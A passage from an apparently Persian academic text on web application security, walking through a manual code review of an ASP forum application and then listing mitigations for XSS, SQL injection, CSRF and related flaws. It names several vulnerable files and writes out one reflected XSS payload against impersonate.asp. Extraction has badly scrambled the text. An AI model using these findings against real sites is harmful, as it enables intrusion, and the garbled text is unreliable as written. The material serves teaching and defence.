:alert-approve.asp -14: خطvAlert = Alerts.GetAlertInfo(request.querystring("id"))در اينجا ابتدا بايد ببينيم GetAlertInfo()چه مي كند و سپسvAlertرا رهگيري كنيم.‏ تابعرا در include-alerts.aspمي يابيم.‏همانطور كه مي بينيدGetAlertInfo()ValidateNumeric()خطكه در فايلinclude.asp:34وجود دارد براي محافظت وجود داشته و با وجودآن نمي توان به جز عدد چيزي وارد كرد.‏ از آنجايي كه خروجي نيز توسط داده هاي از قبل تعيين شدهسيستم در پايگاه داده انتخاب مي شود اين خط كلا آسيب پذير نمي باشد.‏vAlert(AL_Message) = trim(request.form("reason"))include-alerts.aspكه در CreateAlert()در فايلبه كار گرفته مي شود.‏در اينجا نيز تابعValidateNumeric()مانع از اجراي كد خطرناك مي شود.‏:alert-list.asp -14: خطiAlertType = BBS.ValidateNumeric(request.querystring("type"))در اينجا نيز تابعValidateNumeric()مانع از ورود كد خطرناك مي شود.‏:alert-view.asp -14: خطvAlert = Alerts.GetAlertInfo(request.querystring("id"))طبق صحبت هايي كه قبلا شد آسيب پذير نيست.‏93

:category-view.asp -31: و خط 27طبق صحبت هايي كه قبلا شد آسيب پذير نيست.‏خطiCategoryID = BBS.ValidateNumeric(request.querystring("cat")):41 و 39iCatLock = BBS.ValidateNumeric(request.querystring("catlock"))طبق صحبت هايي كه قبلا شد آسيب پذير نيست.‏خطتابعbCategoryCollapsed = BBS.ValidateBoolean(request.cookies(sBBSCookieRoot & "cat"& vCategoryList(0, index) & "collapsed")):68ValidateBoolean()نيز آسيب پذير نمي باشد.‏:forgot-password.asp -19: خطvUserInfo = BBS.GetUserInfobyName(request.form("username"))به دنبال تابع GetUserInfobyName()معلوم مي شود كه در فايلinclude.aspبايد به دنبالتابع GetMemberID()باشيم.‏همان طور كه ديده مي شود متغير ما توسط تابعValidateSQL()خطدر نهايت كنترل شده،‏ پس آسيب پذير نمي باشد.‏:23rsMaster.open "select memberid from members where emailaddress='" &BBS.ValidateSQL(trim(request.form("email"))) & "'", dbConnection,adOpenForwardOnly, adLockReadOnlyدر اينجا هم تابعValidateSQL()آسيب پذيري را از بين مي برد.‏94

:inbox.asp -13: خطsFolderType = request.querystring("folder")ValidateField()به دنبال متغير sFolderTypeتابعرا بايد بررسي كنيم.‏خواهيم ديد كه اينتابع تمامي كاراكترهايي را كه باعث حمله XSSمي شود جايگزين مي كند.‏پس آسيب پذيري دراينجا وجود ندارد.‏30: خطipmid = BBS.ValidateNumeric(request.querystring("view"))آسيب پذير نيست.‏خطمتغير:34for each ipmid in request("pmid")ipmidرا دنبال مي كنيم.‏ تابعGetPrivateMessage()را بررسي مي كنيم و مي بينيم كهdeletePrivateMessage()به دليل كنترل عدد آسيب پذير نيست.‏همين طور در مورد توابعوdeleteSentPrivateMessage()اين حكم صادق است.‏95:logon.asp -18: تا 12 خطsPostUsername = request.form("postusername")sPostPassword = ucase(request.form("postpassword"))sPostVerification = request.form("postverification")به دنبال اين متغير ها به طور جدا گانه مي گرديم.‏sRedirect = request.querystring("redirect")sAction = request.form("action")sPasswordAction = request.querystring("password")

sPostUsernameدر توابعGetUserInfoByName(),CheckUsername()آمده است و آنهانيز چون به GetMemberID()ربط پيدا مي كنند،‏ آسيب پذير نيستند.‏در جايي هم داريم:‏sBBSUsername = sPostUsernameپس به دنبالsBBSUsernameهم مي گرديم كه درValidateSQL()‏(خط آمده است 87).در اين تابع نيز رشته باكنترل ميUpdateLocationشود،‏ پس آسيب پذير نيست.‏اگر بقيه متغير ها را نيز دنبال كنيم آسيب پذيري اي نمي بينيم.‏:register-accept.asp -32: تا 23 خطوطvUserInfo(UI_Username) = left(trim(request.form("username")), 20)vUserInfo(UI_Password) = left(trim(request.form("password")), 20)vUserInfo(UI_Realname) = left(trim(request.form("realname")), 50)vUserInfo(UI_WebsiteAddr)= left(trim(request.form("websiteaddr")), 75)vUserInfo(UI_EmailAddr) = left(trim(request.form("emailaddr")), 75)vUserInfo(UI_ICQNumber) = left(trim(request.form("icqnumber")), 15)vUserInfo(UI_AIM) = left(trim(request.form("aim")), 75)vUserInfo(UI_MSN) = left(trim(request.form("msn")), 75)vUserInfo(UI_Yahoo) = left(trim(request.form("yahoo")), 75)رهگيري به ما نشان مي دهد كه اينها درCreateUser()SQLTrim()خطمانع از اجراي كد خطرناك مي شود.‏به كار مي آيند.‏ و در آنجا نيز:43sPostVerification = trim(request.form("postverification"))اين متغير در يك خط شرطي ‏(خط(88تنها به كار رفته است پس آسيب پذير نيست.‏96

:reset-password.asp -14: خطvUserInfo = BBS.GetUserInfobyName(request.form("username"))قبلا ديديم كهGetUserInfobyName()آسيب پذير نيست.‏:send-private-message.asp -خطمي بينيمخطتابع:33vReplyMessageInfo = Messenger.GetPrivateMessage(request.querystring("replyid"))GetPrivateMessage()آسيب پذير نيست چرا كه اعداد كنترل مي شوند:41vMessageInfo(PM_ToName) =BBS.GetUserInfobyID(request.querystring("toid"))(UI_Username).GetUserInfobyID()امن بوده و آسيب پذير نيست ‏(به دليل كنترل اعداد).‏GetUserInfobyID()از اينجا به بعد هرجا كه از توابع امني چون GetPrivateMessage()يااستفاده شده باشد از آن صرف نظر كرده و در مورد آن نمي نويسيم.‏75: خطvToString = split(request.form("toid"), "|")مي بينيم كه اين متغير در خطيعني:‏ 79response.write vToString(index) & "" & CRLFدر حال چاپ شدن است.‏ پس اولين آسيب پذيري از نوع XSS وقتي كه فرد قبلاوجود دارد وloginشده باشد97exploitآن به شكل زير است:‏

:91و خط 90vMessageInfo(PM_Subject) = request.form("subject")vMessageInfo(PM_Body) = request.form("body")با نگاهي به تابع SendPrivateMessage()مشخص است كه آسيب پذير نيست.‏:view-group.asp -:12iGroupID = request.querystring("gid")خطتوابعوListGroupMembers() به دليل كنترل اعداد آسيب پذير نيستند.‏GetGroupName():view-profile.asp -خط 12:iUserID = BBS.ValidateNumeric(request.querystring("uid"))كه مي بينيم آسيب پذير نيست.‏حال سراغ پوشهcalendar مي رويم:‏:add-event.asp -:15تا خط 12iCalendarID = request.querystring("calendarid")98

sAction= request.querystring("action")iEventID = request.querystring("eventid")GetCalendarInfo()ابتدا به دنبال متغير iCalendarIDبه تابعمي رويم.‏كه به وسيلهHasPermission()محافظت مي شود.‏با نگاهي سريع بهنيز آسيبValidateNumeric()sActionپذيري به چشم نمي خورد‏(جا براي بررسي بيشتر وجود دارد.).‏حال اگر به متغيرنگاهيبياندازيم متوجه مي شويم كه فقط در شرطي ها كاربرد دارد پس آسيب پذير نيست.‏آخرين متغيرGetEventInfo()يعني iEventIDهم دربراي عددي بودن بررسي مي شود پس آسيب پذيرنيست.‏102: تا 97 و خطوط 86 خطvEventInfo(CEV_Owner) = request.form("owner")vEventInfo(CEV_alldayevent) = request.form("alldayevent")vEventInfo(CEV_timeofdayhour) = request.form("timeofdayhour")vEventInfo(CEV_timeofdayminute) = request.form("timeofdayminute")vEventInfo(CEV_timeofdaymeridian)= request.form("timeofdaymeridian")vEventInfo(CEV_AllowSignups) = request.form("allowsignups")حال به دنبال vEventInfoجلو مي رويم.‏ بهCreateEventInfo()نگاه مي كنيم.‏ اگر درFilterPost()مشكلي نباشد،‏ آسيب پذير نيست.‏:calendar-view.asp -14: خطiCAcalendarid = request("calendarid")مي بينيم كه مثل قبلGetCalendarInfo()وHasPermission()آسيب پذير نيستند.‏99

:forums پوشه:alert-post.asp -خطتابعخطvMessageInfo = Forum.GetMessageInfo(request("mid")):16GetMessageInfo():37اعداد را كنترل مي كند.‏به دنبال vAlertInfo مشخص مي شود كه تابعvAlertInfo(AL_Message) = trim(request.form("message"))CreateAlert()ممكن است XSS بپذيرد،‏ چرا كهBBS.ValidateSQL(vAlertInfo(AL_Message))جلوي آسيب پذيريSQL Injectionرا مي گيرد و نه.XSS در تحقيقات بعدي كه روي برنامهتست شد،‏ مشخص مي شود كه هنگام نمايش،‏ كدها به صورتي در مي آيند كه حمله XSSشود.‏خنثي:attach-file.asp -14: خطiMessageID = request.querystring("mid")با رهگيري اين متغير در خطمي بينيم:‏ 127كه پتانسيلSQL = "select max(sortorder) as maxsort from attachments where messageid=" &iMessageIDSQL Injectionرا نشان مي دهد.‏ از آنجايي كه ديتابيس ماAccessاست و امكاناجراي چند درخواست را باهم نداريم مطمئنا نخواهيم توانست از اين آسيب پذيري استفاده كنيم.‏ اما در100

سايت توليد كننده ديتابيس MSSQLنيز عرضه مي شود.‏ لذا اين فايل را بيشتر برسي خواهيم كرد.‏پس به عنوان آسيب پذيري ديگري،‏ مشروط به ،MSSQL اينآسيب پذيري دوم ‏(مشروط):‏Exploitرا خواهيم داشت:‏File : :email-link.asp -23: تا 20 خطوطsFromName = request.form("fromname")sRecipient = request.form("recipient")sFromAddress = request.form("fromaddress")با دنبال كردن اين متغير ها خواهيم ديد كه اين پارامترها بررسي مي شوند و سپس عمليات صورت ميپذيرد پسوندارد.‏SQL Injection اما به عنوان يك نكته منفي اين برنامه به اين نكته بايدXSSاشاره كرد كه به وسيله فايلemail-link.asp مي توان يك آدرس ايميل خاص را بمباران كرد چراكه محدوديتي در ارسال ندارد.‏به دليل حجم بالاي فايل هاو مشابهت زياد آنها به هم از نظر نوع محدوديت ها از اينجا به بعد فقطفايل هايي را كه آسيب پذير باشند مي آوريم.‏101

102:/profile/controlpanel.asp -:291UpdateUser()تا خطوط 257تمامي ورودي هابا نگاه به تابعمي بينيم مقادير زير از نظر امنيتي كنترل نمي شوند:‏SQL = SQL & " timeoffset=" & vUpdateUserInfo(UI_TimeOffset) & ", "SQL = SQL & " invisible=" & vUpdateUserInfo(UI_Invisible) & ", "پس آسيب پذيري سوم را پيدا كرديم.‏ اگر MSSQLكامل مديريت را نيز بگيريم!‏ بهر حال PoC كار ما به شكل زير است:‏بود كار بسيار ساده بود و مي توانستيم مجوزInjection1 (Numeric Update):Injection2 (Numeric Update):حال پوشه admin جاهايي كه به مجوز مديريت نيازي نباشد را مي بينيم و آسيب پذيري ها را بررسيمي كنيم:‏

:impersonate.asp -14: خطsRedirect = request.querystring("redirect")داريم:‏ 32 و در خطresponse.redirect sRedirectهمين جا وجود XSSدر اين برنامه را به عنوانچهارمين آسيب پذيرياعلام مي كنيم كهExploitآن به شكل زير است:‏حال نوبت به بررسي از قلم افتاده ها مي رسد:‏/admin/impersonate.asp?redirect=javascript:alert('XSS')&action=end:/includes/include-poll.asp -125: خطSQL = SQL & BBS.ValidateSQL(stOptionStruct(OI_MemberID)) & ", "همانطور كه مي بينيد در جايي كه در دو طرف آن از علامت‘استفاده نشده،‏ بررسي با تابعانجام شده كه بايد بررسي عددي مي شد نه بررسي .SQLاما چون قبل ازValidateSQL()فراخواني اين فيلد در دست كاربر نيست،‏ لذا خطرناك نيست.‏اين كارها را همين طور براي پيدا كردن آسيب پذيري هاي بيشتر ادامه مي دهيم تا وقتي كه الگوريتمرا كامل كنيم.‏د-‏‎1-2‎‏-‏ نتيجه گيري:‏مدت زماندستي اين عملياتساعتشد كه در نوع خود رقم بالايي محسوب مي شود.‏اين زمان15طولاني دو علت مي تواند داشته باشد،‏ يكي امنيت نسبي بالاي خود برنامه و ديگر آنكه خواندن كدهاياين برنامه بسيار سخت بود.‏103

4.3. خلاصه فصل:‏حملات عليه برنامه هاي كاربردي تحت وب و وبسايتها در دو مرحله شناسايي و پيدا كردن آسيبپذيري ها انجام مي شود.‏شناسايي برنامه كاربردي تحت وب يا يك وب سايت اهميت بسيار زياديدارد.‏ در حاليكه شروع حمله مستقيما از مرحله پيدا كردن آسيب پذيري ها بسيار لذت بخش تر به نظرمي رسد،‏ اما احتمال پيدا كردن آسيب پذيري را نيز بسيار پايين مي آورد.‏ عمليات شناسايي به صورتخودكار و دستي انجام مي گيرد چرا كه هنوز هيچ ابزاري توانايي جستجوي كامل را ندارد.‏براي پيدا كردن آسيب پذيري هادر دو حالت جعبه سياه و جعبه سفيد بايد به بررسي هدف پرداخت.‏هر كدام از اين مراحل نيز به صورت خودكار و دستي انجام مي گيرد.‏براي خواندن كدهاي يك زبانخاص،‏ براي پيدا كردن آسيب پذيري،‏ بايد به دستورات آن زبان آشنايي داشته باشيم و به صورتساختار يافته به دنبال آسيب پذيري ها بگرديم.‏اكثر برنامه نويسان حاضر نيستند در حالي كه برنامههايشان به خوبي كار خود را انجام مي دهند،‏ كدهاي برنامه هايشان را دوباره مطالعه كنند و اينچيزيست كه مهاجمان از آن بهره مي برند.‏.5.3منابع فصل:‏1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's HandbookDiscovering and Exploiting Security Flaws", Wiley Publishing Inc., 20082. Open Web Application Security Project, http://www.owasp.org3. Http://www.bugreport.ir4. Http://www.securityfocus.com5. Http://www.milw0rm.com104

فصل چهارمبررسي روش هاي امن سازي برنامه هاي كاربردي تحت وب:‏.1.4امنيت وب بدون امن بودن خود برنامه دست يافتني نيست:‏21درخواست هاي پروتكل HTTP توسط ديوار آتش و ديگر نرم افزارهاي امنيتي مجاز شمرده مي شود.‏هر چند اخيرا برنامه هايي فقط مخصوص جلوگيري از حملاتعليهوب طراحي شده اند كه رويسرويس دهنده نصب مي شوند و با قوانيني جلوي انجام بعضي حملات وب را مي گيرند.‏اما اين گونهبرنامه ها نيز ايرادات خود را دارند مثلا به علت ايجاد محدوديت هاي زياد و يا پايين آوردن سرعتارتباط امكان نصب آنها در بسياري از سرويس دهنده ها وجود ندارد ودر صورت تعريف استثنا برايآنها،‏ همان نقاط خود مي توانند به اندازه كافي خطرناك باشند و مورد سوء استفاده قرار بگيرند.‏ علاوهبر اين،‏ اين برنامه ها نمي توانند جلوي همه حملات را نظير دست كاري فيلدهاي پنهان يا حمله هايبگيرند،‏ منطقيچرا كه اين نوع حملات درخواست هاي مجازهستندو امكان تشخيصبه هيچ آنهاوجه وجود ندارد.‏بنابراين يك برنامه تحت وب اساسا خودش بايد امن و حفاظت شده باشد كه اين كار تنها با برنامهنويسي صحيح ممكن مي باشد.‏1 Request2 Firewall105

تامين امنيت برنامه كاربردي تحت وب در مقابل آسيب پذيري ها ازطريق.2.4كدهاي برنامه:‏در اين قسمت مي خواهيم راه حل هايي مناسب جهت مقابله با آسيب پذيري هاي گفته شده در فصلدوم ارائه دهيم.‏مقابله با آسيب پذيري ها از درون برنامه مي تواند طوري باشد كه بتوان گفت يكبرنامه كاربردي تحت وب به طور%100امن است.‏ هرچند كه با وجود ضعف هاي منطقي كه از منطقبرنامه و برنامه نويس برمي خيزد،‏ هيچگاه نمي توان ادعا كرد كه امنيتبگوييم امنيت بالايي داريم.‏%100داريم و فقط مي توانيم:Cross Site Scripting (XSS).1.2.4روش مقابله باXSSرا مي توان به طور %100در درون كدها مهار كرد.‏بهترين روش حفاظت در مقابلXSSاستفاده از تركيب ارزيابي list” “white1براي داده هاي ورودي به علاوه رمز نگاري تمام داده هايخروجي مي باشد.‏ با ارزيابي داده هاي ورودي مي توان حملات را آشكار كرد و با رمز كردن خروجي هانيز جلوي اجراي موفق اسكريپت هاي تزريق شده گرفته مي شود.‏توجه داشته باشيد منظور از رمزكردن در اينجا همانEncode-2شكل هاي اين حمله را بشناسيد .كردن است.‏ خواندن صفحه ترفندهاي XSS نيز كمك مي كند تا انواعبراي جلوگيري از حمله XSS اجراي روند زير به طور كامل نياز است:‏ارزيابي ورودي ها:‏ استفاده از مكانيزم هاي اعتبار سنجي استاندارد در تمامي ورودي ها براي اندازه،‏نوع،‏ تركيب و طرز كاربرد آنهاقبل از اينكه داده ها نمايش پيدا كنند يا ذخيره شوند.‏استفاده ازاستراتژي ارزيابيgood” “Accept known ‏(مثلا فيلد ايميل حتما بايد از نوع ايميل باشد كه1 Encoding2 http://ha.ckers.org/xss.html - http://sla.ckers.org/forum/read.php?2,15812 -http://sla.ckers.org/forum/read.php?3,880106

كاراكترهاي خاصي دارد و تركيب خاصي باهم دارند).‏نپذيرفتن داده هاي غير معتبر به جاي تلاش درتجزيه يا حذف داده هاي مخرب.‏ فراموش نكنيد كه پيغام هاي خطا نيز مي توانند شامل داده هاي غيرمعتبر باشند،‏ پس به آنها نيز اعتماد نكنيد.‏رمزي كردن قوي خروجي ها:‏مطمئن شويد كه قبل از نمايش،‏ تمام داده هاي كاربر به طور-XMLمناسب رمزي شده باشند HTML‏(هم درو همبسته به نوع خروجي)‏و اين كار را برايتمامي كاراكترها حتي آنهايي كه محدوديت خاصي دارند انجام دهيد.‏Encodingمشخص كردن نوع Encodingخروجي:‏براي تمامي صفحات خروجي ازنظير-يا (UTF 8(8859-1 ISO استفاده كنيد تا در معرض خطر كمتري قرار بگيريد و اجازه ندهيدمهاجم خودش نوع Encoding را مشخص كند.‏از ارزيابياستفاده نكنيد:‏براي تشخيص حملهXSS در داده هاي ورودي و“Blacklist”-">""

Response.Write(Server.HTMLEncode(...))Response.Write(Server.URLEncode(...))ياو سعي كنيد هيچگاه از دستورات زير استفاده نكنيد:‏Response.Write(...)چرا كه مي تواند باعث حمله XSS شود.‏Strutsدر زبان :Javaسعي كنيد از مكانيزم هاي خروجي هاياستفاده كنيد:‏نظير-يا از ويژگي پيش فرض escapeXML="true" JSTLدراستفاده كنيد.‏ هيچ گاه از به صورت مستقيم و بدون رمزي كردن استفاده نكنيد.‏.2.2.4روش مقابله با:Injection Flaws-عدم استفاده از مفسرها تا حد امكان به دفع اين حمله كمك شاياني مي كند.‏ اگر لازم است كه از يكمفسر نيز استفاده كنيد،‏ يك روش كليدي براي پرهيز از اين حمله استفاده از1API هاي امن است.‏اگر چه اين راه حل مشكل را حل مي كند اما ارزيابي ورودي ها هنوز براي آشكار كردن حملات توصيهمي شود،‏ پس مطابق زير عمل كنيد:‏ارزيابي ورودي ها:‏ استفاده از مكانيزم هاي اعتبار سنجي استاندارد در تمامي ورودي ها براي اندازه،‏نوع،‏ تركيب و طرز كاربرد آنهاقبل از اينكه داده ها نمايش پيدا كنند يا ذخيره شوند.‏استفاده از1 Application Programming Interface108

استراتژي ارزيابي good” “Accept known‏(مثلا فيلد ايميل حتما بايد از نوع ايميل باشد كهكاراكترهاي خاصي دارد و تركيب خاصي باهم دارند).‏نپذيرفتن داده هاي غير معتبر به جاي تلاش درتجزيه يا حذف داده هاي مخرب.‏ فراموش نكنيد كه پيغام هاي خطا نيز مي توانند شامل داده هاي غيرمعتبر باشند،‏ پس به آنها نيز اعتماد نكنيد.‏1- اجبار در استفاده از كمترين امتيازات : براي ارتباط با پايگاه داده يا سيستم هاي طرف سرويسدهنده از كاربري با بيشترين محدوديت استفاده كنيد.‏ براي نمونه،‏ هيچ گاه در ارتباط با MSSQL ازكاربر SA-استفاده نكنيد،‏ چرا كه قدرت آن به اندازه كاربر System در ويندوز است.‏پرهيز از نمايش جزئيات پيغام خطا:‏ كه به مهاجم كمك زيادي مي كند.‏SQLتوجه2براي استفاده از رويه هاي ذخيره شده :گرچه رويه هاي ذخيره شده در مقابل-مصون به نظر مي رسند،‏ اما توجه كنيد كه اگر در آنها از توابعي مانند exec()يا بهمInjection--پيوستن آرگومان ها استفاده شده باشد،‏ بازهم آسيب پذيرند.‏عدم استفاده مستقيم3از واسط هاي پرس و جوي پويا : نظير mysql_query() و مانند آن.‏عدم استفاده از توابع ساده جايگزيني كاراكترها:‏ مثل:‏Replace(InputData,"'"," ")چرا كه اين توابع ساده در برخي جاها قابل رد شدن هستند.‏-عدم گرفتن مستقيم نام جدول يا فيلدها از ورودي وقتي از توابع ساده كنترل استفاده ميكنيد:‏ چرا كه اين نام ها نيازي به"’"نداشته و مهاجم مي تواند حمله كاملي را طرح ريزي كند.‏مراقب خطاهاي اعتبار سنج ها باشيد:‏ورودي ها بايد ابتدا رمزگشايي و استاندارد شوند قبل از-اينكه به مرحله اعتبار سنجي برسند.‏مطمئن شويد كه برنامه كاربردي يك ورودي را بيشتر از يك بار1 Privilege2 Stored procedures3 dynamic query interfaces109

رمز گشايي نكند.‏اين خطاها مي تواند باعث شود كه در برخي شرايط ورودي بعد از رد كردن اعتبار-سنجي،‏ دوباره رمزگشايي گردد و شامل داده هاي مخرب و كنترل نشده باشد.‏محدود سازي سرويس دهنده ها مانند سرويس هاي پايگاه داده:‏ همواره مينيمم سيستم موردنياز را داشته باشيد.‏ براي نمونه سعي كنيد رويه هاي ذخيره شده پيش فرض خطرناك و استفاده نشدهرا كه به مهاجم كمك زيادي مي كنند،‏ مانند XP_CmdShellدر ،MSSQL از پايگاه داده حذفكنيد.‏ در واقع وقتي از چيزي استفاده نمي كنيد،‏ هيچ دليلي ندارد كه آن را روي سرويس دهنده فعالنگاه داريد.‏در زبان :ASP استفاده از توابع بازدارنده:‏چون در اين زبان معمولا از مفسر استفاده مي شود،‏-نياز به توابع كنترلي قدرتمند دست ساز احساس مي شود.‏ توجه كنيد كه هيچ گاه يك عبارت را حذفنكنيد،‏ بلكه تنها آن را جايگزين كنيد تا باعث آسيب پذيري نگردد.‏ تابع زير يك مثال براي جلوگيري ازحملهدرASP را نشان مي دهد:‏ ‏(توجه كنيد كه اين تابع جلوي حملات سادهSQL InjectionXSSرا نيز مي گيرد)‏110

HibernatePreparedStatementدر زبان :Java EEقويا از نوعيا ORMهايي نظيريا-Springاستفاده كنيد.‏.3.2.4روش مقابلهبا :Malicious File Executionپرهيز از خطاهاي اجراي فايل از راه دور نيازمند نقشه اي دقيق در فاز معماري و طراحي به صورتمرحله به مرحله دارد.‏ به طور كلي،‏ يك برنامه كاربردي كه خوب نوشته شده باشد،‏ از داده هاي كاربر بهعنوان نام فايل ورودي يا هر منبع طرف سرويس دهنده اي ‏(مانندفايل هاي تصاوير،‏ فايلهاي XML وو مانند آن)‏XSL استفاده نمي كند و همچنين ديوار آتش با قوانيني كه دارد از ارتباطات جديد بهاينترنت يا ساير سرويس دهنده ها جلوگيري ميكند.‏به صورت كلي چيزهايي كه بايد به آن ها توجه كنيم عبارتند از:‏111

استفاده از مسيرهاي غير مستقيم به يك شي:‏براي مثال نام فايلي را كه مي خواهد استفاده-شود مستقيم ننويسيم و از درهم شده MD5آن با يك كليد از قبل تنظيم شده‏(براي جلوگيري ازBrute force-و حدس زدن)‏ استفاده كنيم.‏ در واقع جدولي از نام فايلها درست مي كنيم و با استفادهاز يك پارامتر كنترل شده ديگر كه قابل حدس زدن نباشد،‏ به نام فايل ها اشاره مي كنيم.‏ در كنار اينبايد ورودي ها را نيز ارزيابي كنيم تا از تغيير پارامترها جلوگيري كنيم.‏استفاده از مكانيزم هاي بررسي نام فايل:‏ استفاده از توابعي كه صحت نام يك فايل را با استفادهاز استراتژي"Accept known good"اعلام مي كند و قوانيني براي جلوگيري از دسترسي به فايلهاي مهم دارد،‏ اكيدا پيشنهاد مي شود.‏مثلا اين تابع مي تواند علاوه بر تاييد درستي نام يك فايل،‏پسوند درخواستي فايل را نيز كنترل كند.‏استفاده از ديوار آتش:‏براي جلوگيري از ارتباط سرويس دهنده وب با اينترنت يا سرويس دهنده--هاي ديگر داخلي پيشنهاد مي شود.‏ براي سيستم هاي با ارزش بالا،‏ ايزوله كردن سرويس دهنده وب ازساير منابع در يك VLAN خاص يا يك subnet خصوصي،‏ پيشنهاد مي شود.‏بررسي فايلها و نام فايلها:‏ در جاهايي كه فايل هاي كاربران را مي پذيرند مانند PDFها 1 يا تصاويربايد كنترل دقيقي بر نام فايل ها و همچنين پسوند آنها و نيز محتويات آنها وجود داشته باشد.‏پياده سازي يكيا مكانيزم هاي:sand box بدان معني كه برنامه ها را ازchroot jail-يكديگر و منابع سيستم ايزوله نگه داريد تا مهاجمان نتوانند به ساير منابع حتي در صورت uploadفايل دسترسي پيدا كنند.‏ضمن اينكه در محلفايل ها،‏ اجازه اجرا(Execute) از فايلهايuploadupload شده،‏ بايد گرفته شده باشد.‏1 Portable Document Format112

هميشه ويروسكش ها وديوار آتش و سرويس دهنده خود را به روز نگه داريد:‏با اين كار-جلوي اجراي سو استفاده هاي احتمالي آشكار شده از سرويس دهنده و برنامه كاربردي تحت وب تا حدزيادي گرفته مي شود.‏- در :ASPقوانيني كه در بالا گفته شد براي اين زبان كافي مي باشند.‏ ضمن اينكه در تنظيمات ،IISيك كاربر خاص براي اجراي هر سايت تعريف كنيد كه فقط به پوشه هاي همان سايت خاص مجوزدسترسي داشته باشد و از اجراي سايت ها با كاربر پيش فرض (IUSR)خودداري كنيد.‏اين كاربرتعريف شده،‏ در تنظيم سياست هاي گروهي Policy) (Groupويندوز نيز بايد از محدوديت هايكاربر پيش فرضIUSR) يا (Guestپيروي كند.‏Java EEدرمديريت امنيترا فعال كنيد تا از دسترسي فايل ها به خارج از پوشه ريشه:Java-وب جلوگيري كند.‏ همچنين هيچگاه از پيش فرضFileServletاستفاده نكنيد.‏.4.2.4روش مقابلهبا :Insecure Direct Object Referenceبهترين روش مقابله با اين آسيب پذيري،‏ استفاده از مسيرهاي غيرمستقيم است.‏ اگر هم مسير مستقيمبه يك شي مورد نياز است،‏ مطمئن شويد كه كاربر اجازه استفاده از آن را داشته باشد.‏ روش استفاده ازمسيرهايغير مستقيم بهيك شي،‏ در قسمت قبل توضيح داده شد.‏مواردي كه بايد در اينجا كنترلشوند عبارتند از:‏-پرهيز از نشان دادن مسير مستقيم يك شي محرمانه به كاربران:‏ تا جايي كه امكان دارد بايد ازچيزهايي مانند نام فايل ها يا كليدهاي اصلي به صورت مستقيم استفاده نشود.‏"Accept known good"اعتبار سنجي مراجعهبه يك شي محرمانه:‏استفاده از روند-پيشنهاد مي شود.‏113

-بررسي اجازه داشتن براي همه اشيا:‏ سنجش اجازه هاي يك كاربر در مراجعه به همه اشيا موجودبايد انجام شود.‏../%00بررسي ورودي ها:‏ورودي ها بايد براي نداشتن كاراكترهايي نظيرياو مانند آنها بررسي-شوند.‏-استفاده از پارامترهاي كنترلي:‏ استفاده از پارامترهاي كنترلي براي جلوگيري از دستكاري وروديMD5ها پيشنهاد مي شود.‏اين كار مي تواند توسط يك رشته درهم مثلابا يك كليد محرمانه كهقابل حدس زدن نباشد،‏ در پارامترهاي ورودي انجام گردد تا از صحت ورودي ها اطمينان حاصل شود.‏.5.2.4روش مقابلهبا :Cross Site Request Forgeryبرنامه هاي كاربردي بايد مطمئن گردند كه تنها برپايه اعتبارنامه هايي كه به صورت خودكار ازمرورگرها ثبت مي شوند استوار نيستند.‏تنها راه حل اين حمله،‏ استفاده از كليد رمزي است كه بهصورت سفارشي و تصادفي براي هركس ساخته مي شود و مرورگر نيز نمي تواند آن را به ياد بياورد.‏استراتژي هاي زير براي برنامه هاي كاربردي تحت وب پيشنهاد مي شوند:‏مطمئن شدن از اينكه برنامه آسيب پذيري XSSندارد:‏علت اين موضوع در فصل دوم در-قسمت توضيح CSRF آمده است.‏-وارد كردن كليدهاي رمزي سفارشي و تصادفي به هر آدرس URL يا يك :formاين كليدرمزي به صورت خودكار توسط مرورگر فرستاده نمي شود و نيز مرورگر نمي تواند آن را به ياد بياورد.‏…114كدهاي HTMLزير يك مثال در همين زمينه را نشان مي دهند:‏

-اعتبار سنجي دوباره يا signing مجدد براي انجام درخواست هاي حساس:‏ اين كار به منظورحقيقي بودن درخواست انجام مي شود.‏ حتي مي توان براي مطمئن شدن از حقيقي بودن درخواست،‏ ازمكانيزم هاي خارجي نظير فرستادن يك ايميل يا پيام كوتاه به تلفن همراه كاربر استفاده كرد.‏-عدم پذيرش درخواست هاي حساس با متد GET ‏(با استفاده از :(URLبراي پردازش دادههاي حساس كاربر،‏ تنها از متد ،POST كه از طريق يك formانجام مي شود،‏ استفاده كنيد.‏با اينحال،‏ آدرس URL هدف،‏ مي تواند شامل يك رشته رمزي تصادفي و سفارشي براي جلوگيري از اجرايحمله CSRFباشد.‏-فرستادن اطلاعات تنها با متد POST حفاظت موثري نيست:‏همانطور كه قبلا گفته شد بايد-در آدرس URL هدف،‏ از يك رشته رمزي تصادفي و سفارشي استفاده كرد.‏استفاده از پارامتر:Referrer-اگرچه اين پارامتر نيز به سادگي قابل تغيير است،‏ اما به عنوان يكروش كمكي در كنار روش هاي ديگر توصيه مي شود.‏ در اين حالت،‏ با كنترل اين پارامتر از همان ابتدا،‏مي توان درخواست هاي مخرب را نپذيرفت و از گذاشتن بار اضافي روي سرويس دهنده خودداري كرد.‏استفاده از پارامترهاي كنترلي:‏ استفاده از پارامترهاي كنترلي براي جلوگيري از دستكاري وروديMD5ها پيشنهاد مي شود.‏اين كار مي تواند توسط يك رشته درهم مثلابا يك كليد محرمانه كهقابل حدس زدن نباشد،‏ در پارامترهاي ورودي انجام گردد تا از صحت ورودي ها اطمينان حاصل شود.‏در زباندرمي توان ازorg.apache.struts2.components.Token كمكStruts:Java-گرفت.‏115.6.2.4روش مقابلهبا :Information Leakage and Improper Error Handling

براي مقابله با اين آسيب پذيري علاوه بر بررسي برنامه با ابزاري مانند ،OWASP’s WebScarabبايد از روش هاي زير استفاده كرد:‏مطمئن شويد تمام گروه توسعه دهندگان نرم افزار درمواجههبا خطاها،‏ از يك روش-مشترك استفاده مي كنند.‏غيرفعال يا محدود كردن جزئيات رفع اشكال:‏مخصوصا اطلاعات اشكال زدايي و نشانه هاي-1پشته و اطلاعات مسير فايل ها،‏ نبايد به كاربر نهايي نشان داده شوند.‏- مطمئن شويد كه مسيرهاي امن كه كارهاي مختلفي مي كنند،‏ پيغام هاي خطاي مساوي يامشابه و در زمان مساوي نشان دهند:‏ براي نمونه در صورت درست نبودن چه نام كاربري و چه رمزعبور پيغام"The username or password is not correct"-را نشان دهد.‏ همچنين اگر پياده-‏سازي ميزان زمان مساوي مقدور نيست،‏ سعي كنيد از يك زمان تصادفي براي انجام همه تبادلاتاستفاده كنيد تا مهاجم اطلاعات خاصي از طريق مقدار زمان،‏ دريافت نكند.‏براي تمامي لايه هاي اجرايي بايد نشان دادن جزئيات خطا غير فعال باشد:‏ براي نمونه اگر ازو 